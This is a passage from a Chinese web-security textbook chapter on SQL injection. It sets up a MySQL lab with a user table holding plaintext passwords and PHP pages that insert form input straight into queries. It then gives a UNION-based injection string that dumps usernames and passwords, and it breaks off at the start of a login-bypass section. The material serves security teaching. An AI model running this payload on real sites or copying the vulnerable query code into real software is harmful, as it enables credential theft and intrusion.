版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
第7章Web安全技术编著:
秦燊劳翠金
任务7.2
实施SQL注入任务7.2实施SQL注入一、基本环境在mysql中,创建一个库两个表,qikao表和user表。qikao表中存有ID、姓名、语文、数学、英语、学期等字段。user表存有用户名、密码等字段。二、具体操作1.登录mysql,账号root,密码root。C:\phpStudy\PHPTutorial\MySQL\bin>mysql-uroot-proot2.查看已有数据库。mysql>showdatabases;3.创建一个新的库qzone。mysql>createdatabaseqzonecharset=utf8;若utf8显示不正常,可改用GBK,命令如下:mysql>alterdatabaseqzonecharsetgbk;7.2.1SQL注入案例基本环境4.在qzone库中,创建qikao表。mysql>useqzone;mysql>createtableqikao(->idint(11)notnullprimarykeyauto_increment,->xingmingchar(16)notnull,->yuwenint(3)notnull,->shuxueint(3)notnull,->yingyuint(3)notnull,->xueqichar(16)notnull);QueryOK,0rowsaffected(0.00sec)5.查看qikao表的结构。mysql>showcolumnsfromqikao;6.若发现表的字段名有误,可进行修改。例如,发现字段名xingming输入错误,输成了xinming,修改方法如下:mysql>altertableqikaochangexinmingxingmingchar(16);7.在qikao表中,插入内容。mysql>insertintoqikao(xingming,yuwen,shuxue,yingyu,xueqi)values->('zhangsan',98,80,92,201807),->('lisi',93,98,93,201807),->('wangwu',89,88,98,201807);QueryOK,3rowsaffected(0.02sec)Records:3Duplicates:0Warnings:08.查看qikao表的内容。mysql>select*fromqikao;9.在qzone库中,创建user表。mysql>useqzone;mysql>showtables;mysql>createtableuser(->idint(11)notnullprimarykeyauto_increment,->usernamechar(16)notnull,->passwordchar(16)notnull);mysql>select*fromuser;10.在user表中,插入用户名admin,密码admin。mysql>insertintouser(username,password)values(->'admin','admin');11.修改表的内容。如果需要更改密码,如将用户admin的密码改为root,可用以下语句实现:mysql>updateusersetpassword='root'whereusername='admin';12.在user表中,继续插入用户名和密码。mysql>insertintouser(username,password)values(->'root','root'),('guest','guest');13.查看user表的内容。mysql>select*fromuser;mysql>selectusername,passwordfromuser;mysql>selectusername,passwordfromuserwhereid=1;mysql>select*fromuserwhereusername='admin'andpassword='root';14.删除记录。如需删除一条记录,如删除用户名是‘guest’的记录,命令如下:mysql>deletefromuserwhereusername='guest';mysql>select*fromuser;7.2.2通过union查询实施SQL注入一、普通查询1.在网站上,创建conn.php,文件内容如下:<?php$con=mysql_connect("localhost","root","root");//localhost是本地服务器,账号是root,密码是root。if(!$con){die(mysql_error());}mysql_select_db("qzone",$con);//连接数据库?>2.在网站上,网页21.htm文件内容如下:输入姓名,查询成绩:<formaction="22.php"method="get"> <inputtype="text"size=80name="xingming"value="zhangsan"> <inputtype="submit"value="输入"></form>网页显示的效果如图7-2-1所示:图7-2-1网站www.上的网页21.htm2.在网站上,网页22.php文件内容如下:<html><head><title>数据库显示</title></head><body>查询结果:<tablestyle='text-align:left;'border='1'><tr><th>ID号</th><th>姓名</th><th>语文</th><th>数学</th><th>英语</th><th>学期</th></tr><?phprequire'conn.php';//引用conn.php文件$xingming=$_GET['xingming'];$sql=mysql_query("select*fromqikaowherexingming='$xingming'");$datarow=mysql_num_rows($sql);//长度//以下通过循环遍历出数据表中的数据for($i=0;$i<$datarow;$i++){$sql_arr=mysql_fetch_row($sql);$id=$sql_arr[0];$xingming=$sql_arr[1];$yuwen=$sql_arr[2];$shuxue=$sql_arr[3];$yingyu=$sql_arr[4];echo"<tr><td>$sql_arr[0]</td><td>$sql_arr[1]</td><td>$sql_arr[2]</td><td>$sql_arr[3]</td><td>$sql_arr[4]</td><td>$sql_arr[5]</td></tr>";}?></table></body></html>网页显示的效果如图7-2-2所示:图7-2-2网站www.上的网页22.php二、通过union查询,实施SQL注入攻击一)SQL注入实例及效果。如图7-2-3所示,如果在21.htm页面中,输入的不是姓名,而是以下语句:'unionselectusername,password,null,null,null,nullfromuserwhereusername<>'图7-2-3网站www.上的网页21.htm这就相当于给$sql的赋值是一个union查询:$sql=mysql_query("select*fromqikaowherexingming=''unionselectusername,password,null,null,null,nullfromuserwhereusername<>''");如图7-2-4所示,查询的结果是获取用户名和密码等信息:其中,字段名“ID号”与“姓名“分别对应当于“用户名”和“密码”。图7-2-4网站www.上的网页22.php二)union查询。上例用到了union查询,下面通过实例来说明union查询的作用及使用方法。1.从表qikao中,读取出姓名是“lisi”的记录。命令如下:2.从表user中,读取出所有的用户名和密码。1)命令如下:mysql>selectusername,passwordfromuser;2)通过增加4个null字段,让刚才的输出从2列变成6列,从而与qikao表的6列输出一致。命令如下:mysql>selectusername,password,null,null,null,nullfromuser;3.通过union命令,将以上的两个输出联合成一个,字段名以排在前面的qikao表的字段名为准,每行的记录值先列出qikao表的输出值,再列出user表的输出值,具体命令如下:mysql>select*fromqikaowherexingming='lisi'unionselectusername,password,null,null,null,nullfromuser;4.上例中,参与联合输出的表有qikao和user,其中,表qikao中读取的条件是姓名为“lisi”,假如表qikao中读取的条件改为姓名为空,命令及输出结果如下:mysql>select*fromqikaowherexingming=''unionselectusername,password,null,null,null,nullfromuser;5.通过php网页来实现union查询。理解了union查询的作用后,我们接着通过php网页来实现union查询。在网站上,网页23.php文件内容如下:<!DOCTYPEhtml><html><head><title>数据库显示</title></head><body><tablestyle='text-align:left;'border='1'><tr><th>列1</th><th>列2</th><th>列3</th><th>列4</th><th>列5</th><th>列6</th></tr><?php//引用conn.php文件require'conn.php';//查询数据表中的数据$sql=mysql_query("select*fromqikaowherexingming=''unionselectusername,password,null,null,null,nullfromuser");$datarow=mysql_num_rows($sql);//长度//循环遍历出数据表中的数据for($i=0;$i<$datarow;$i++){$sql_arr=mysql_fetch_row($sql);echo"<tr><td>$sql_arr[0]</td><td>$sql_arr[1]</td><td>$sql_arr[2]</td><td>$sql_arr[3]</td><td>$sql_arr[4]</td><td>$sql_arr[5]</td></tr>";}?></table></body></html>网页的显示效果如图7-2-5所示。图7-2-5网站www.上的网页23.php6.在上例基础上,将显示的列名的显示变为qikao表的相应列名。在网站上,网页23-2.php文件内容如下:<html><head><title>数据库显示</title></head><body><tablestyle='text-align:left;'border='1'><tr><th>ID号</th><th>姓名</th><th>语文</th><th>数学</th><th>英语</th><th>学期</th></tr><?php//引用conn.php文件require'conn.php';//查询数据表中的数据//$xingming=$_GET['xingming'];$sql=mysql_query("select*fromqikaowherexingming=''unionselectusername,password,null,null,null,nullfromqzone.user");//'");$datarow=mysql_num_rows($sql);//长度//循环遍历出数据表中的数据for($i=0;$i<$datarow;$i++){//$sql_arr=mysql_fetch_assoc($sql);$sql_arr=mysql_fetch_row($sql);$id=$sql_arr[0];$xingming=$sql_arr[1];$yuwen=$sql_arr[2];$shuxue=$sql_arr[3];$yingyu=$sql_arr[4];echo"<tr><td>$sql_arr[0]</td><td>$sql_arr[1]</td><td>$sql_arr[2]</td><td>$sql_arr[3]</td><td>$sql_arr[4]</td><td>$sql_arr[5]</td></tr>";}?></table></body></html>网页的显示效果如图7-2-6所示。图7-2-6网站www.上的网页23-2.php7.2.3绕过用户名和密码认证一、网页的内容和功能。1.网站上,登录页面25.htm的内容如下:<formaction="26.php"method="POST"> 用户名:<inputtype="text"name="aa"><br> 密码:<inputtype="password"name="bb"><br> <inputtype="submit"value="登录"></form>网页的显示效果如图7-2-7所示。图7-2-7网站www.上的网页25.htm2.网站上,网页26.php的内容如下:<?phpsession_start();
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2026年地名系统版地名标志导向系统知识试题
- 2026安徽池州市石台县乡镇应急消防站招聘专职消防11人备考题库及答案详解(真题汇编)
- 2026湖南娄底市冷水江市事业单位引进高层次和急需紧缺人才22人备考题库含答案详解(轻巧夺冠)
- 努力维护公平教学设计
- 2026石家庄数字产业有限公司招聘18人备考题库及答案详解(必刷)
- 2026年上海建设管理职业技术学院公开招聘高层次专业技术人才的备考题库及答案详解一套
- 2026四川成都轨道交通集团有限公司第一批次市场化选聘管理人员1人备考题库含答案详解(突破训练)
- 2026广西南宁市良庆区良庆镇便民服务中心公益性岗位人员招聘2人备考题库含答案详解(新)
- 2026年上海市通信管理局直属事业单位工作人员招聘备考题库含答案详解(培优a卷)
- 2026辽宁省供销社资产经营管理有限公司所属企业人员招聘3人备考题库附答案详解ab卷
- 2026年安阳职业技术学院单招职业适应性测试必刷测试卷及答案解析(名师系列)
- 2025年司法考试民事诉讼法真题及答案解析
- 2026年郑州电力高等专科学校单招职业适应性测试题库及答案1套
- 小儿肠系膜淋巴结炎课件
- (2025年版)绝经后宫腔积液诊治中国专家共识
- 中烟机械技术中心笔试试题2025
- 人像摄影培训课件
- DB43∕T 3023-2024 箭叶淫羊藿种子育苗技术规程
- 项目部质量培训
- GB/T 6730.11-2025铁矿石铝含量的测定EDTA滴定法
- 社科联课题申报书范本
评论
0/150
提交评论